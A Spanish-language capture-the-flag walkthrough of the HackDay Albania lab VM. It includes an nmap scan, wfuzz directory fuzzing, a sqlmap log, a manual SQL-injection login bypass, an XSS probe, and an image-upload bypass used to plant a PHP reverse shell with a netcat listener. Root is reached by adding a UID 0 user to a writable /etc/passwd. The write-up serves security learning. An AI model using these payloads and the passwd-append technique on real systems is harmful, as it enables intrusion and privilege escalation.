Escaneamos puertos:

```
root@kali:~/Security/HackDayAlbania# nmap -sT -Pn -sV -p 1-65535 -T5 192.168.0.10

Starting Nmap 7.01 ( https://nmap.org ) at 2016-12-22 23:07 CET
Nmap scan report for 192.168.0.10
Host is up (0.00090s latency).
Not shown: 65533 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
8008/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.58 seconds
```

En el navegador pues, accedemos a la url http://192.168.0.10:8008 pero simplemente es una página de inicio. Así las cosas, se me ocurre mirar si hay algún robots.txt y da la casualidad de que sí:

```
root@kali:~/Security/HackDayAlbania# wget http://192.168.0.10:8008/robots.txt
--2016-12-23 10:51:36--  http://192.168.0.10:8008/robots.txt
Conectando con 192.168.0.10:8008... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 702 [text/plain]
Grabando a: “robots.txt”

robots.txt              100%[===================================>]     702  --.-KB/s
in 0s

2016-12-23 10:51:36 (83.7 MB/s) - “robots.txt” guardado [702/702]

root@kali:~/Security/HackDayAlbania# cat robots.txt
Disallow: /rkfpuzrahngvat/
Disallow: /slgqvasbiohwbu/
Disallow: /tmhrwbtcjpixcv/
Disallow: /vojtydvelrkzex/
Disallow: /wpkuzewfmslafy/
Disallow: /xqlvafxgntmbgz/
Disallow: /yrmwbgyhouncha/
Disallow: /zsnxchzipvodib/
Disallow: /atoydiajqwpejc/
Disallow: /bupzejbkrxqfkd/
Disallow: /cvqafkclsyrgle/
Disallow: /unisxcudkqjydw/
Disallow: /dwrbgldmtzshmf/
Disallow: /exschmenuating/
Disallow: /fytdinfovbujoh/
Disallow: /gzuejogpwcvkpi/
Disallow: /havfkphqxdwlqj/
Disallow: /ibwglqiryexmrk/
Disallow: /jcxhmrjszfynsl/
Disallow: /kdyinsktagzotm/
```

Disallow: /lezjotlubhapun/
Disallow: /mfakpumvcibqvo/
Disallow: /ngblqvnwdjcrwp/
Disallow: /ohcmrwoxekdsxq/
Disallow: /pidnsxpyfletyr/
Disallow: /qjeotyqzgmfuzs/

Vamos a arreglar un poco el archivo para convertirlo en un diccionario y comprobar luego los directorios con alguna herramienta como wfuzz:

```
rroot@kali:~/Security/HackDayAlbania# cat robots.txt | awk '{print $2}' > directory_robots.txt
root@kali:~/Security/HackDayAlbania# cat directory_robots.txt
/rkfpuzrahngvat/
/slgqvasbiohwbu/
/tmhrwbtcjpixcv/
/vojtydvelrkzex/
/wpkuzewfmslafy/
/xqlvafxgntmbgz/
/yrmwbgyhouncha/
/zsnxchzipvodib/
/atoydiajqwpejc/
/bupzejbkrxqfkd/
/cvqafkclsyrgle/
/unisxcudkqjydw/
/dwrbgldmtzshmf/
/exschmenuating/
/fytdinfovbujoh/
/gzuejogpwcvkpi/
/havfkphqxdwlqj/
/ibwglqiryexmrk/
/jcxhmrjszfynsl/
/kdyinsktagzotm/
/lezjotlubhapun/
/mfakpumvcibqvo/
/ngblqvnwdjcrwp/
/ohcmrwoxekdsxq/
/pidnsxpyfletyr/
/qjeotyqzgmfuzs/
root@kali:~/Security/HackDayAlbania#
root@kali:~/Security/HackDayAlbania#
root@kali:~/Security/HackDayAlbania# wfuzz -w
/root/Security/HackDayAlbania/directory_robots.txt http://192.168.0.9:8008FUZZ
********************************************************
* Wfuzz 2.1.3 - The Web Bruteforcer                    *
********************************************************

Target: http://192.168.0.9:8008FUZZ
Total requests: 26

=====================================================================
ID      Response   Lines      Word         Chars          Request
=====================================================================
```

```
00000:  C=200     9 L       14 W      165 Ch     "/cvqafkclsyrgle/"
00001:  C=200     9 L       14 W      165 Ch     "/exschmenuating/"
00002:  C=200     1 L        7 W       37 Ch     "/unisxcudkqjydw/"
00003:  C=200     9 L       14 W      165 Ch     "/xqlvafxgntmbgz/"
00004:  C=200     9 L       14 W      165 Ch     "/atoydiajqwpejc/"
00005:  C=200     9 L       14 W      165 Ch     "/rkfpuzrahngvat/"
00006:  C=200     9 L       14 W      165 Ch     "/slgqvasbiohwbu/"
00007:  C=200     9 L       14 W      165 Ch     "/yrmwbgyhouncha/"
00008:  C=200     9 L       14 W      165 Ch     "/zsnxchzipvodib/"
00009:  C=200     9 L       14 W      165 Ch     "/bupzejbkrxqfkd/"
00010:  C=200     9 L       14 W      165 Ch     "/tmhrwbtcjpixcv/"
00011:  C=200     9 L       14 W      165 Ch     "/wpkuzewfmslafy/"
00012:  C=200     9 L       14 W      165 Ch     "/jcxhmrjszfynsl/"
00013:  C=200     9 L       14 W      165 Ch     "/mfakpumvcibqvo/"
00014:  C=200     9 L       14 W      165 Ch     "/dwrbgldmtzshmf/"
00015:  C=200     9 L       14 W      165 Ch     "/pidnsxpyfletyr/"
00016:  C=200     9 L       14 W      165 Ch     "/havfkphqxdwlqj/"
00017:  C=200     9 L       14 W      165 Ch     "/fytdinfovbujoh/"
00018:  C=200     9 L       14 W      165 Ch     "/ohcmrwoxekdsxq/"
00019:  C=200     9 L       14 W      165 Ch     "/vojtydvelrkzex/"
00020:  C=200     9 L       14 W      165 Ch     "/lezjotlubhapun/"
00021:  C=200     9 L       14 W      165 Ch     "/ngblqvnwdjcrwp/"
00022:  C=200     9 L       14 W      165 Ch     "/kdyinsktagzotm/"
00023:  C=200     9 L       14 W      165 Ch     "/ibwglqiryexmrk/"
00024:  C=200     9 L       14 W      165 Ch     "/gzuejogpwcvkpi/"
00025:  C=200     9 L       14 W      165 Ch     "/qjeotyqzgmfuzs/"

Total time: 0.068557
Processed Requests: 26
Filtered Requests: 0
Requests/sec.: 379.2410
```

Así pues, parece que tenemos un ganador pues es la única respuesta distinta. Miraremos en el navegador qué hay en este directorio. Nos responde con una simple página y esta frase:

IS there any /vulnbank/ in there ???

Si entramos en ese directorio, al final llegamos a una página de login de “Very secure Bank”

http://192.168.0.9:8008/unisxcudkqjydw/vulnbank/client/login.php

Intentamos logins típicos para detectar SQLi: admin/' , '/loquesea. Éste último, con la comilla en el username, nos devuelve un error de base de datos:

```
Warning: mysqli_fetch_assoc() expects parameter 1 to be mysqli_result, boolean given in
/var/www/html/unisxcudkqjydw/vulnbank/client/config.php on line 102
Invalid Credentials . . .
```

Es hora de SQLmap!!!

```
root@kali:~/Security/HackDayAlbania# cat request.txt
POST http://192.168.0.9:8008/unisxcudkqjydw/vulnbank/client/login.php HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 4.0; Windows NT)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Referer: http://192.168.0.9:8008/unisxcudkqjydw/vulnbank/client/login.php
Cookie: PHPSESSID=7jh40u91rfmmq2iu5f71mp6sv4
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Host: 192.168.0.9:8008

username=test&password=afsdsa

root@kali:~/Security/HackDayAlbania# sqlmap --level=5 --risk=3 -r request.txt -p username
        _
 ___ ___| |_____ ___ ___  {1.0-dev-nongit-201606020a89}
|_ -| . | |     | .'| . |
|___|_  |_|_|_|_|__,|  _|
      |_|           |_|   http://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting at 12:16:06

[12:16:06] [INFO] parsing HTTP request from 'request.txt'
[12:16:06] [INFO] resuming back-end DBMS 'mysql'
[12:16:06] [INFO] testing connection to the target URL
[12:16:06] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: username=test'||(SELECT 'gGwH' FROM DUAL WHERE 6633=6633 RLIKE (SELECT (CASE WHEN (1809=1809) THEN 0x74657374 ELSE 0x28 END)))||'&password=afsdsa
---
[12:16:06] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.18, PHP 7.0.8
back-end DBMS: MySQL 5
[12:16:06] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.0.9'

[*] shutting down at 12:16:06
```

Parece que sqlmap no hace un buen trabajo aquí, así que vamos a intentarlo manualmente con inyecciones muy sencillas, del tipo **' or '1'='1** o **' or '1'='1' –**

Tras varios intentos damos con la combinación ganadora: **' or 'a' = 'a' #**

Nos encontramos con una utilidad para abrir tickets adjuntando ficheros. Después de hacer alguna prueba, descubro que es vulnerable a XSS (<script>prompt(1);</script>), luego he visto que puedo subir imágenes sin problemas pero si intento subir otra cosa, me avisa que debido a un reciente hackeo, sólo admiten archivos válidos de imagen.
Para bypassear esto, utilizamos la técnica ya conocida para subir una shell remota:

- Shell remota renombrada a jpg o gif
- El content type debe ser Content-Type: image/jpeg
- Interceptar la petición con Burp y en el inicio de los datos poner “GIF89a” y a continuación el código PHP de la shell (en este caso se ha utilizado la shell de pentestmonkey)
- Poner nuestra Kali a escuchar: nc -nlvp 'puerto' (9997 en este caso)

Con esto obtenemos la shell remota y estamos conectados.

Para poder tener una shell interactiva completamente, volveremos a utilizar el método de Phineas Phiser (Hack Back!):

Después de buscar y revisar varios archivos, no vemos nada reseñable. Vemos que tenemos acceso al archivo passwd:

```
www-data@hackday:/home/taviso$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
lxd:x:106:65534::/var/lib/lxd/:/bin/false
mysql:x:107:111:MySQL Server,,,:/nonexistent:/bin/false
messagebus:x:108:112::/var/run/dbus:/bin/false
uuidd:x:109:113::/run/uuidd:/bin/false
dnsmasq:x:110:65534:dnsmasq,,,:/var/lib/misc:/bin/false
```

sshd:x:111:65534::/var/run/sshd:/usr/sbin/nologin
taviso:x:1000:1000:Taviso,,,:/home/taviso:/bin/bash

Y en el achivo group, vemos que el usuario taviso (al cuyo home tenemos acceso, pero apenas hay archivos ocultos inservibles…), está dentro del grupo sudo:

www-data@hackday:/home/taviso$ cat /etc/group
root:x:0:
daemon:x:1:
bin:x:2:
sys:x:3:
adm:x:4:syslog,taviso
tty:x:5:
disk:x:6:
lp:x:7:
mail:x:8:
news:x:9:
uucp:x:10:
man:x:12:
proxy:x:13:
kmem:x:15:
dialout:x:20:
fax:x:21:
voice:x:22:
cdrom:x:24:taviso
floppy:x:25:
tape:x:26:
sudo:x:27:taviso
audio:x:29:
dip:x:30:taviso
www-data:x:33:
backup:x:34:
operator:x:37:
list:x:38:
irc:x:39:
src:x:40:
gnats:x:41:
shadow:x:42:
utmp:x:43:
video:x:44:
sasl:x:45:
plugdev:x:46:taviso
staff:x:50:
games:x:60:
users:x:100:
nogroup:x:65534:
systemd-journal:x:101:
systemd-timesync:x:102:
systemd-network:x:103:
systemd-resolve:x:104:
systemd-bus-proxy:x:105:
input:x:106:

crontab:x:107:
syslog:x:108:
netdev:x:109:
lxd:x:110:taviso
mysql:x:111:
messagebus:x:112:
uuidd:x:113:
mlocate:x:114:
ssh:x:115:
ssl-cert:x:116:
taviso:x:1000:
lpadmin:x:117:taviso
sambashare:x:118:taviso

Busquemos archivos que sean escribibles:

www-data@hackday:/home/taviso$ find / -writable -type f 2>/dev/null
/etc/passwd
/tmp/.home/.lesshst
[…]

Bingo!! El archivo passwd se puede escribir! Así pues, podemos añadir un usuario a nuestro gusto. Puesto que Linux no admite usuarios sin contraseña, generamos una en md5 para nuestro nuevo usuario, la contraseña en este caso será “albania”:

www-data@hackday:/home/taviso$ openssl passwd -1 albania
1YW4M5SUg$aZKKKUG0Rgs6VCGvwKs8/0

Y ya lo podemos añadir al archivo /etc/passwd. Como lo que se quiere es escalar privilegios para ser root, habrá que poner los parámetros igual, bien sea copiando los que hay en el mismo archivo /etc/passwd, bien sea sabiendo directamente que para root:

User ID (UID)=0
Group ID (GID)=0

Así las cosas, editando el archivo:

[…]
taviso:x:1000:1000:Taviso,,,:/home/taviso:/bin/bash
hackaday:1YW4M5SUg$aZKKKUG0Rgs6VCGvwKs8/0:0:0:Hackaday,,,:/root:/bin/bash

Guardamos y nos logueamos con el usuario “hackaday”:
taviso@hackday:/$ su - hackaday
Password:
root@hackday:~# whoami
root
root@hackday:~# ls
flag.txt
root@hackday:~# cat flag.txt
Urime,
Tani nis raportin!

d5ed38fdbf28bc4e58be142cf5a17cf5